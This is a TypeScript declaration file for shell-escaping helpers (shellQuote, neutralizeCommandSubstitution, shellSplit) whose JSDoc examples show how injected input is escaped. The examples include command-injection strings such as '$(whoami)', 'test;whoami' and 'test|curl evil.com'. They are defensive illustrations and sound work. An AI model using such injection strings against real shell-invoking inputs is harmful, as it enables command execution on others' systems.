/**
 * @example
 * shellQuote("/path/to/file with spaces")  // → "'/path/to/file with spaces'"
 * shellQuote("it's here")                  // → "'it'\\''s here'"
 * shellQuote("")                           // → "''"
 */
export declare function shellQuote(value: string | null | undefined): string;
/**
 * @example
 * neutralizeCommandSubstitution("-DFOO=$(whoami)")    // → "-DFOO=\\$\\(whoami\\)"
 * neutralizeCommandSubstitution("-DFOO=`id`")         // → "-DFOO=\\`id\\`"
 * neutralizeCommandSubstitution("-DPATH=$HOME/bin")   // → "-DPATH=$HOME/bin" (preserved)
 * neutralizeCommandSubstitution("-DPATH=${HOME}/bin") // → "-DPATH=${HOME}/bin" (preserved)
 * neutralizeCommandSubstitution("test;whoami")        // → "test\\;whoami"
 * neutralizeCommandSubstitution("test|curl evil.com") // → "test\\|curl evil.com"
 * neutralizeCommandSubstitution("'; whoami; echo '")  // → "\\'\\;\\ whoami\\;\\ echo\\ \\'"
 *
 * NOTE: This function deliberately preserves shell variable expansion ($VAR and
 * ${VAR}) and therefore does NOT neutralize brace expansion ({a,b} / {1..5}),
 * pathname globbing (* ? [ ]) or tilde expansion (~). For example bash expands
 * an unquoted multi-key JSON value '{"a":"b","c":"d"}' via brace expansion into
 * two words, corrupting the value. When the argument is fully untrusted and no
 * variable expansion is required (e.g. an Ansible --extra-vars JSON blob), wrap
 * each token with shellQuote() instead — single quoting keeps the value intact
 * and inert against every form of shell interpretation.
 */
export declare function neutralizeCommandSubstitution(value: string | null | undefined): string | null | undefined;
/**
 * @example
 * shellSplit('-DFOO=bar -DBAZ="hello world"')
 * // → ['-DFOO=bar', '-DBAZ=hello world']
 *
 * shellSplit("-DPATH='/usr/local/my app' -DVER=1.0")
 * // → ['-DPATH=/usr/local/my app', '-DVER=1.0']
 *
 * shellSplit(`--extra-vars '{"a":"b"}'`)
 * // → ['--extra-vars', '{"a":"b"}']   (nested double quotes preserved)
 *
 * // Safe workflow for fully-untrusted, multi-param inputs — re-quote every token
 * // so the shell treats each one as a single, literal argument:
 * shellSplit(args).map(shellQuote).join(' ')
 *
 * // Use .map(neutralizeCommandSubstitution) instead only when shell variable
 * // expansion ($VAR/${VAR}) must be preserved AND the input cannot contain
 * // brace/glob/tilde metacharacters (see neutralizeCommandSubstitution notes).
 */
export declare function shellSplit(value: string | null | undefined): string[];